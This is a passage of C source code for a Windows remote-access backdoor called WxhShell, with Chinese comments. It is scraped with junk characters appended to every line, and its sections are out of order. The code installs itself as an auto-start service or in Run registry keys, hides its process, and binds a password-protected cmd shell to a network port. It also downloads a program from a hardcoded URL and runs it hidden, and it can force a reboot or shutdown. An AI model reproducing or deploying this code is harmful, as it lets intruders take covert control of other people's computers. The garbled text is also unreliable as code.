    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o_rtH|ntX5  
    if(Boot(SHUTDOWN)) TVeJ6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v|&s4x?D  
    else { ]| WA#8_|  
    closesocket(wsh); C{&)(#*L  
    ExitThread(0); ]nc2/S%  
    } eEP( ).  
    break; FW Y[=S  
    } JO}?.4B  
  // 获取shell kFwxK"n@C  
  case 's': { t3>$|}O]t  
    CmdShell(wsh); Y|RdzC M  
    closesocket(wsh); R@n5AN(  
    ExitThread(0); )E-E0Hl>7  
    break; .eY`Ri<3t  
  } wv^b_DR  
  // 退出 WsB3SFNG  
  case 'x': { 1Is%]6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sOQcx\dK  
    CloseIt(wsh); wko2M[  
    break; r0Z+ RB^I  
    } 2fbU-9Rfn  
  // 离开 j+Zt.KXjT  
  case 'q': { 2-s7cXs  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GoD ?KC  
    closesocket(wsh); H&K3"Ulw  
    WSACleanup(); n$W"=Z;`  
    exit(1); &CUC{t$VHX  
    break; @d)LRw.I  
        } ,R~eY?{a  
  } 5~[N/Gl  
  } 9P0yv3  
waQtr,m)  
  // 提示信息 ttj2b$M,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u-39r^`5  
} O9*p0%ug  
  } !.X _/$c  
<m1sSghg  
  return; 7}o6_i  
} !-RwB@\  
h!Y?SO.b  
// shell模块句柄 -#%X3F7/w  
int CmdShell(SOCKET sock) 0I^Eo|  
{ u<kD}  
STARTUPINFO si; @G(xaU'u  
ZeroMemory(&si,sizeof(si)); A8!Ed$@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =)*JbwQ   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k(v"B@0  
PROCESS_INFORMATION ProcessInfo; %A2`&:ip  
char cmdline[]="cmd"; eJ:Yj ~X`<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /x/4NeD  
  return 0; oAnigu;  
} Y-]YDXrPQ  
F"=Hp4-C  
// 自身启动模式 4,zvFH*AH  
int StartFromService(void) phS>T  
{ '=@r7g.2  
typedef struct H|K("AVP:  
{ x ^[F]YU  
  DWORD ExitStatus; pZ\$50t&O  
  DWORD PebBaseAddress; RM#fX^)=  
  DWORD AffinityMask; Vrg3{@$  
  DWORD BasePriority; f8#*mQ  
  ULONG UniqueProcessId; esteFLm`6  
  ULONG InheritedFromUniqueProcessId; _4!{IdR  
}   PROCESS_BASIC_INFORMATION; e{JVXc[D  
.HCaXFW  
PROCNTQSIP NtQueryInformationProcess; 6e/7'TYwT  
O8[k_0@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #]X2^ND4 7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `I{tZ$iD  
.?Auh2nr  
  HANDLE             hProcess; ssT@<Tk^4  
  PROCESS_BASIC_INFORMATION pbi; U3N(cFXn  
`[bJYZBc2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (JU_8j!  
  if(NULL == hInst ) return 0; c>rKgx  
(M8h y4Ex  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Mlwdha0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i7(~>6@|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .OV-`TNWj  
*.3y2m,bZ  
  if (!NtQueryInformationProcess) return 0; Hh@2m\HA  
jOv~!7T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .8x@IWJD  
  if(!hProcess) return 0; m\?\6W k  
?^F5(B[+Y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $N dH*  
u6pIdt  
  CloseHandle(hProcess); ^X^,>Z|  
4@mso+tk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )gjGG8 Ee  
if(hProcess==NULL) return 0; N"K\ick6J  
8UYJye8  
HMODULE hMod; a-:pJE.'p  
char procName[255]; M_; w %FV  
unsigned long cbNeeded; e lay =%)  
CZ2iJy  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pW7kj&a_.  
~Zu}M>-^c,  
  CloseHandle(hProcess); l<Lz{)OR  
Qj:{p5H'  
if(strstr(procName,"services")) return 1; // 以服务启动 rXuAixu!t  
_\!0t  
  return 0; // 注册表启动 `;e^2  
} d _uF Y:  
g&XhQ.aa  
// 主模块 t +J)dr  
int StartWxhshell(LPSTR lpCmdLine) 1MpX] j8C#  
{ a 1NCVZ  
  SOCKET wsl; /XN*)m  
BOOL val=TRUE; (c<f<D|  
  int port=0; -C=]n<ak  
  struct sockaddr_in door; Z+Xc1W^  
dhs#D:/{9  
  if(wscfg.ws_autoins) Install(); Y6+k9$h  
bYK]G+Ww  
port=atoi(lpCmdLine); -h=c=P  
0T=jR{j!o  
if(port<=0) port=wscfg.ws_port; y6bjJ}  
9X.gg$P  
  WSADATA data; 5qeT4| Ol  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `TOX1cmw  
V54q"kP,@.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Bg5;Q)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7f[8ED[4  
  door.sin_family = AF_INET; 6OMb`A@/2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q;KshpfRMD  
  door.sin_port = htons(port); ipfm'aQ  
=[APMig,n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yB|]LYh  
closesocket(wsl); "i}Z(_7yr  
return 1; MwN1]d|6  
} jt/l,=9YK  
~ >4@;  
  if(listen(wsl,2) == INVALID_SOCKET) { .HQVj'g  
closesocket(wsl); Z"4VH rA  
return 1; G[y&`Qc)G  
} J6= w:c  
  Wxhshell(wsl); IruyE(;HS  
  WSACleanup(); 7=L:m7T  
2lX[hFa5  
return 0; >aX:gN  
3x,Aczb  
} {6-;P#Q0_  
U.d'a~pH  
// 以NT服务方式启动 S$ Ns8=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H f!9`R[  
{ ;L#L Dk{Za  
DWORD   status = 0; jq7vOr-_g  
  DWORD   specificError = 0xfffffff; Q9Q!9B @  
u Eu6f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; YK(XS"Kl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; p)K9 ZI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 07~pf}  
  serviceStatus.dwWin32ExitCode     = 0; bM*Pcxv  
  serviceStatus.dwServiceSpecificExitCode = 0; de*,MkZN  
  serviceStatus.dwCheckPoint       = 0; Q>cL?ie  
  serviceStatus.dwWaitHint       = 0; 1v>  
bjU 2UcI"<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4`?sE*P@`  
  if (hServiceStatusHandle==0) return; B]&Lh~Im  
 O6M}W_  
status = GetLastError(); wghFGHgw  
  if (status!=NO_ERROR) ~gSF@tz@  
{ WO.}DUfG+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t;Fbt("]:  
    serviceStatus.dwCheckPoint       = 0; <=B1"'\  
    serviceStatus.dwWaitHint       = 0; *[XN.sb8E  
    serviceStatus.dwWin32ExitCode     = status; ,%"\\#3S  
    serviceStatus.dwServiceSpecificExitCode = specificError; XHwZ+=v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); yfRUTG  
    return; Pu/-Qpqh  
  } n"K {uj))  
*l-Dh:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; nR=2eBNf  
  serviceStatus.dwCheckPoint       = 0; WHhR )$zC  
  serviceStatus.dwWaitHint       = 0; E.5*Jr=J  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B^Rw?: hN  
} luP'JUq  
q?e16M  
// 处理NT服务事件,比如:启动、停止 Yc. ~qmG/z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l^!0|/Vw  
{ A?6{  
switch(fdwControl) c0,gfY%sI$  
{ <;TP@-a  
case SERVICE_CONTROL_STOP: 5JXzfc9rL  
  serviceStatus.dwWin32ExitCode = 0; 9.MGH2^ L?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )%H5iSNG$P  
  serviceStatus.dwCheckPoint   = 0; h&:Q$*A>   
  serviceStatus.dwWaitHint     = 0; =/!{<^0  
  { ;|;h9"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )Rm 'YmO  
  } .:|#9%5  
  return; SSA%1l 2!  
case SERVICE_CONTROL_PAUSE: w|hyU4- ^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I;kUG_c(4  
  break; >M8^ Jgh  
case SERVICE_CONTROL_CONTINUE: TQb FI;\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l1iF}>F2  
  break; T9XW%/n  
case SERVICE_CONTROL_INTERROGATE: #qiGOpTF.  
  break; ~ (l2%(3G  
}; O>o}<t7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J?qcRg`1E  
} 5,=B1  
#:Sy`G6!?  
// 标准应用程序主函数 C&d"#I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `|ck5DZT5L  
{ #%=vy\r  
;'WzfJ!q  
// 获取操作系统版本 y9re17{ X  
OsIsNt=GetOsVer(); U d=gdsL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F~d7;x =g  
0[$Mo3c+'  
  // 从命令行安装 x" :Bw;~  
  if(strpbrk(lpCmdLine,"iI")) Install(); kgbr+Yw2X  
G,mH!lSm,  
  // 下载执行文件 y uK5r  
if(wscfg.ws_downexe) { Fh!!T%5>C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3Av(|<cR  
  WinExec(wscfg.ws_filenam,SW_HIDE); O( 5L2G  
} l]58P  
~XT a=  
if(!OsIsNt) { p#8LQP~0$  
// 如果时win9x,隐藏进程并且设置为注册表启动 #&`WMLl+8  
HideProc(); V~uA(3\U  
StartWxhshell(lpCmdLine); Ppo^qb  
} coP$7Q .  
else 3{#pd6e5  
  if(StartFromService()) ^6NABXL  
  // 以服务方式启动 lh(+X-}D  
  StartServiceCtrlDispatcher(DispatchTable); Cak/#1  
else (a)@<RF`Q}  
  // 普通方式启动 O^="T^J  
  StartWxhshell(lpCmdLine); C[<\ufclD  
x#e\ H F  
return 0; /CQQ^/  
} V.a]IkK'K  
9{^B Tc  
Gp3t?7S{T  
ka9v2tE\  
=========================================== 4[V6so0  
{msB+n~WZ  
]!Aze^7;  
Y*X6lo  
'JKvy(n>  
;KZ2L~ THG  
" WZ V*J&  
\,IDLXqp  
#include <stdio.h> A)p! w aG  
#include <string.h> N+@@EOmH  
#include <windows.h> UmI@":|-  
#include <winsock2.h> q@"4Rbu6  
#include <winsvc.h> Fe2 -;o  
#include <urlmon.h> _<~Vxz9  
"BNmpP  
#pragma comment (lib, "Ws2_32.lib") C00*X[p  
#pragma comment (lib, "urlmon.lib") ?(L? X&)v  
(i~%4w=  
#define MAX_USER   100 // 最大客户端连接数 n\)f.}YD8d  
#define BUF_SOCK   200 // sock buffer 7X3l&J2C4l  
#define KEY_BUFF   255 // 输入 buffer 5lA 8e  
c94PWPU  
#define REBOOT     0   // 重启 =ir;m  
#define SHUTDOWN   1   // 关机 }sNZQ89V*v  
S5 oHe4#89  
#define DEF_PORT   5000 // 监听端口 <YNPhu~5  
`2U/O .rV  
#define REG_LEN     16   // 注册表键长度 ~#x!N=q  
#define SVC_LEN     80   // NT服务名长度 K<9MK>T  
aj-uk(r  
// 从dll定义API 0<Y&2<v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "@|V.d@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {7szo`U2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'GO..m"G  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6Kc7@oO~  
rca"q[,  
// wxhshell配置信息 2%%U)|39mB  
struct WSCFG { v%e"4:K}?  
  int ws_port;         // 监听端口 e ^& 8x  
  char ws_passstr[REG_LEN]; // 口令 BPs &  
  int ws_autoins;       // 安装标记, 1=yes 0=no }XE/5S}D  
  char ws_regname[REG_LEN]; // 注册表键名 *iN]#)3>  
  char ws_svcname[REG_LEN]; // 服务名 XD>@EYN<X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  -~aEqj#?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x%7x^]$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m1Z8SM+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kqB 00 ;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @g2L=XF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8LKZ3Y|  
;lt;]7  
}; VDN]P3   
5Rp2O4Z  
// default Wxhshell configuration ZDD|MH  
struct WSCFG wscfg={DEF_PORT, };sm8P{M  
    "xuhuanlingzhe", 6Izv&  
    1, /T(~T  
    "Wxhshell", >#|Q,hVU5  
    "Wxhshell", } ~bOP^'  
            "WxhShell Service", Q1B! W  
    "Wrsky Windows CmdShell Service", >k-poBw  
    "Please Input Your Password: ", !XC7F UO  
  1, MUl+Oy>  
  "http://www.wrsky.com/wxhshell.exe", 5!%/j,?  
  "Wxhshell.exe" fX|,s2-FW  
    }; &Wk<F3qN  
jO.E#Ei}~  
// 消息定义模块 FeMu`|2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C5 !n {  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =w>QG{-N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0:8'Ov(  
char *msg_ws_ext="\n\rExit."; )Ggx  
char *msg_ws_end="\n\rQuit."; )Me&xQTn  
char *msg_ws_boot="\n\rReboot..."; )HE yTHLtJ  
char *msg_ws_poff="\n\rShutdown..."; 1 j8,Zrg1  
char *msg_ws_down="\n\rSave to "; d(XWt;KK  
5+Ut]AL5  
char *msg_ws_err="\n\rErr!"; =)bc/309  
char *msg_ws_ok="\n\rOK!"; vX%gcs/@  
R/|o?qTrj  
char ExeFile[MAX_PATH]; 7 #N @B  
int nUser = 0; ?H?r!MZ%  
HANDLE handles[MAX_USER]; h]$zub  
int OsIsNt; p04w 83 jX  
P&;I]2#  
SERVICE_STATUS       serviceStatus; nU)f]4q{Ec  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >MH@FnUL  
yhmW-#+^e  
// 函数声明 &jcr7{cD  
int Install(void); Y8T.RS0  
int Uninstall(void); ]CYe=m1<2Q  
int DownloadFile(char *sURL, SOCKET wsh); Af~AE2b3"  
int Boot(int flag); na)_8r~  
void HideProc(void); g9JtWgu  
int GetOsVer(void); +L6$Xm5DAv  
int Wxhshell(SOCKET wsl); P/ 5r(l5  
void TalkWithClient(void *cs); KhvCkQMI@  
int CmdShell(SOCKET sock); k6\c^%x  
int StartFromService(void); T /uu='3  
int StartWxhshell(LPSTR lpCmdLine); ^ z;pP  
Iq*7F5B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mx2 Jt1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >qla,}x  
[cq>QMW  
// 数据结构和表定义 KAZz) 7  
SERVICE_TABLE_ENTRY DispatchTable[] = m" Gr pE3  
{ QPn c "!  
{wscfg.ws_svcname, NTServiceMain}, B!0[LlF+  
{NULL, NULL} ^.Q),{%Xo  
}; qI}Zg)q]  
ux=@"!PJ  
// 自我安装 tp"\  
int Install(void) &* iiQ3  
{ l_WY];a  
  char svExeFile[MAX_PATH]; <Bwu N,}  
  HKEY key; O{PRK5^h  
  strcpy(svExeFile,ExeFile); O?_'6T  
(,>`\\  
// 如果是win9x系统,修改注册表设为自启动 G>j/d7  
if(!OsIsNt) { Qk= w ,`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +;T%7j"wz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O1A*-G:X  
  RegCloseKey(key); yd k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s*;~CH-[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  f!<mI8H  
  RegCloseKey(key); Tn|re Xc0e  
  return 0; -Ac^#/[0  
    } Ua4} dW[w  
  } r*Mm5QozA  
} V+Z22  
else { J0`?g6aY  
;iEqa"gO  
// 如果是NT以上系统,安装为系统服务 R9HRbVBJf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m~v Ie c  
if (schSCManager!=0) |67UN U  
{ /cg!Ap5  
  SC_HANDLE schService = CreateService ;-3M  
  ( >v(Xc/oI  
  schSCManager, uo0(W3Q *  
  wscfg.ws_svcname, x?k6ek  
  wscfg.ws_svcdisp, z}5XLa^  
  SERVICE_ALL_ACCESS, 0 [s1!Cm!i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =LC5o2bLy  
  SERVICE_AUTO_START, 8n56rOW!  
  SERVICE_ERROR_NORMAL, 4#o` -vcW  
  svExeFile, @{bf]Oc  
  NULL, U|>Js!$  
  NULL, Ruf*aF(  
  NULL, OSBE5  
  NULL, vO\CPb %/  
  NULL )TxhJB5|  
  ); ow&R~_  
  if (schService!=0) Zy<0'k%U  
  { _|F h^hq  
  CloseServiceHandle(schService); 7':|f"  
  CloseServiceHandle(schSCManager); =[P||  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v>,XJ7P  
  strcat(svExeFile,wscfg.ws_svcname); n9#@ e}r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q>|<R[.7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -1@kt<Es  
  RegCloseKey(key); ;2U`?"  
  return 0; F:n7yey  
    } D;Z\GnD  
  } v"^G9u  
  CloseServiceHandle(schSCManager); <h^vl-L>  
} J~~WV<6  
} M;V2O;  
*@D.=i>  
return 1; ec{pWzAe  
} Er{yQIi0L  
Tfj%Sb,zM  
// 自我卸载 (*#S%4(YX  
int Uninstall(void) NpSS/rd $  
{ V-VR+Ndz  
  HKEY key; wz'D4B  
gg<lWeS/3  
if(!OsIsNt) { tFG&~tNc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $[H3O(B0*  
  RegDeleteValue(key,wscfg.ws_regname); q>,i `*  
  RegCloseKey(key); |A"zxNeS"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JVN0];IL}  
  RegDeleteValue(key,wscfg.ws_regname); 6<gh:vj  
  RegCloseKey(key); 9OX&;O+5  
  return 0; ^W;\faG  
  } ?v6xa Vg:  
} orJN#0v4  
} oB+drDp8U  
else { gd2cwnP  
*M09Y'5]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); GP1b/n3F1  
if (schSCManager!=0) 4v Ug:'DM  
{ iXI > >9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); WSUU_^.  
  if (schService!=0) H|5\c=  
  { | X! d*4  
  if(DeleteService(schService)!=0) { ZPRkk?M}.  
  CloseServiceHandle(schService); dxsPX =\:  
  CloseServiceHandle(schSCManager); T-0fVTeN  
  return 0; 54v}iG  
  } kyMWO*>|  
  CloseServiceHandle(schService); bDK72cQ  
  } mqQN*.8*  
  CloseServiceHandle(schSCManager); x:4 :G(  
} DY1UP (y  
} ^O}`i  
e-Mei7{%  
return 1; MDAJ p>o  
} zb.dVK`7N-  
0w)Gb}o$  
// 从指定url下载文件 s,Azcqem  
int DownloadFile(char *sURL, SOCKET wsh)  Jpm=V*P  
{ k^K>*mcJ  
  HRESULT hr; QY|Rz(;m  
char seps[]= "/"; 4SlEc|'7@  
char *token; vq/3a  
char *file; bi~1d"j  
char myURL[MAX_PATH]; #TS:| =  
char myFILE[MAX_PATH]; grrM[Y7#~b  
juIi-*R!  
strcpy(myURL,sURL); 4MUN1/DId`  
  token=strtok(myURL,seps); bf@H(gCW=  
  while(token!=NULL) cao=O \Y7  
  { "Rc Ny~  
    file=token; ~xCv_u^=  
  token=strtok(NULL,seps); /0CS2mLC  
  } []OmztB  
W-D{ cU  
GetCurrentDirectory(MAX_PATH,myFILE); /xq^]0xy  
strcat(myFILE, "\\"); m55|&Ux|  
strcat(myFILE, file); > zA*W<g  
  send(wsh,myFILE,strlen(myFILE),0); ? `hA:X<  
send(wsh,"...",3,0); N(s5YX7<hd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]sLdz^E3D  
  if(hr==S_OK) pT|l"q@  
return 0; _TntZv.?  
else x4bmV@b  
return 1; sD#*W<  
4g+Dp&U  
} ^m Ua5w  
cY]BtJ#  
// 系统电源模块 cXw8#M!  
int Boot(int flag) xB`j* %  
{ BD ,J4xH;  
  HANDLE hToken; &8\6%C  
  TOKEN_PRIVILEGES tkp; %\^VxM  
t#d{hEr  
  if(OsIsNt) { B@k2lHks(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y6G`p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0@yw#.j  
    tkp.PrivilegeCount = 1; +?)R}\\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l=UXikx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 18,;2Sr44  
if(flag==REBOOT) { otA'+4\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !mH !W5&  
  return 0; "% l``  
} %0Ibi  
else { i&^]qL|J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1z3>nou2{  
  return 0; TXT!Ae  
} ~jJF&*)  
  } >N~orSw%  
  else { t|P+^SL  
if(flag==REBOOT) { &G!~@\tMg  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `y>BbJqy  
  return 0; %6\L^RP  
} 068DC_  
else { 9zl-C*9vj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "m > BE  
  return 0; _Un*x5u2O  
} kho$At)V  
} VpX*l3  
Ji.FG"h+2  
return 1; f}EsS  
} .Zc:$"gDu  
OP|X-  
// win9x进程隐藏模块 .oM;D~(=9  
void HideProc(void) 3N ?"s1U  
{ }Te+Rv7{E  
@6M>x=n5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eus@;l*  
  if ( hKernel != NULL ) }{}?mQ  
  { &Qe2 }e$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :w]NN\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c*r@QmB:  
    FreeLibrary(hKernel); [HhaBy9  
  } EMPujik-  
7^;-[? l  
return; ~7gFddi=i  
} cv;2zq=T  
hcpe~spz9|  
// 获取操作系统版本 b/_u\R ]-'  
int GetOsVer(void) O>>/2V9  
{ qOAP_\@T  
  OSVERSIONINFO winfo; MP_/eC ;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )X3 |[4R  
  GetVersionEx(&winfo); fZ(k"*\MZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e5D\m g)  
  return 1; 3e>U(ES  
  else Fr-Vq =j&  
  return 0; XT \2  
} ZFtJoGaR  
!C(PfsrR/  
// 客户端句柄模块 ( G~ME>  
int Wxhshell(SOCKET wsl) nt@uVwfQ  
{ zDBm^ s  
  SOCKET wsh;  c& $[a%s  
  struct sockaddr_in client; 1+ [,eq  
  DWORD myID; If8Lt}-  
)=cJW(nfP  
  while(nUser<MAX_USER) t>Yl= 79,  
{ !?sB=qo  
  int nSize=sizeof(client); oN)I3wO$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  hOYX  
  if(wsh==INVALID_SOCKET) return 1; E B! ,t  
cYvt!M\ed  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xVrLoAw  
if(handles[nUser]==0) ?BbEQr  
  closesocket(wsh); !=HxL-`j  
else FxT]*mo  
  nUser++; M,cz7,  
  } )NTpb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]bbP_n8  
A"0Yn(awWu  
  return 0; #bCUI*N"P  
} ;&!Q N#_  
p}JGx^X ~  
// 关闭 socket -X3CrW  
void CloseIt(SOCKET wsh) O_ vH w^  
{ TW wE3{iF  
closesocket(wsh); (!?%"e  
nUser--; 4hYK$!"r  
ExitThread(0); Pb1.X9*8c  
} CtUAbR  
C>F5=&  
// 客户端请求句柄 9{rE7OX*A  
void TalkWithClient(void *cs) QIdml*Np?H  
{ ulk/I-y  
zn0%%x+!g  
  SOCKET wsh=(SOCKET)cs; ?m9=Me  
  char pwd[SVC_LEN]; ;iQw2XhT  
  char cmd[KEY_BUFF]; ] VEc9?  
char chr[1]; 0g Hd{H=  
int i,j; tOZ-]>U  
Ir(U7D  
  while (nUser < MAX_USER) { LMN`<R(q]  
7UqDPEXU]`  
if(wscfg.ws_passstr) { crx%;R   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eT?vZH[N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y1F%-o  
  //ZeroMemory(pwd,KEY_BUFF); ^f 0-w`D  
      i=0; - /cf3  
  while(i<SVC_LEN) { 9JeT1\VvHY  
R*lq.7   
  // 设置超时 nITkgN:s  
  fd_set FdRead; `=kiqF2P}  
  struct timeval TimeOut; F>?~4y,b7  
  FD_ZERO(&FdRead); l*Fp}d.  
  FD_SET(wsh,&FdRead); hM&VMa[  
  TimeOut.tv_sec=8; WpMm%G~'4t  
  TimeOut.tv_usec=0; FTzc,6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z uo:yaO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |o ^mg9  
 .4Mc4'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {$7vd  
  pwd=chr[0]; "|N0oEG&  
  if(chr[0]==0xd || chr[0]==0xa) { Mp^G7JY,  
  pwd=0; |Qpd<L  
  break; 4tvZJS hV  
  } qWXw*d1]  
  i++; }h|HT  
    } aU#r`D@0  
B->oTC`5  
  // 如果是非法用户,关闭 socket m!(dk]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )Ofwfypc  
} _^$F^}{&  
76u\# {5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H1 i+j;RN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2ppJ;P{k  
w;kiH+&  
while(1) { $J]NWgXl@  
,o0[^-b<  
  ZeroMemory(cmd,KEY_BUFF); <! *O[0s  
M?DXCsZ,)s  
      // 自动支持客户端 telnet标准   Wi*HLP!lNC  
  j=0; oJc7a z  
  while(j<KEY_BUFF) { 51;Bc[)%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MB6lKLy6~  
  cmd[j]=chr[0]; vCtnjWGX}/  
  if(chr[0]==0xa || chr[0]==0xd) { ,fhwDqR ?  
  cmd[j]=0; xo(>nFjo  
  break; n0uL^{B  
  } N*KM6j  
  j++; H.O&seY  
    } V9;IH<s:  
mE9ytFH\k  
  // 下载文件 )>pIAYCVP  
  if(strstr(cmd,"http://")) { +('=Ryo T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m'2EiYX$}\  
  if(DownloadFile(cmd,wsh)) [h.i,%Ua"P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R?:(~ X\  
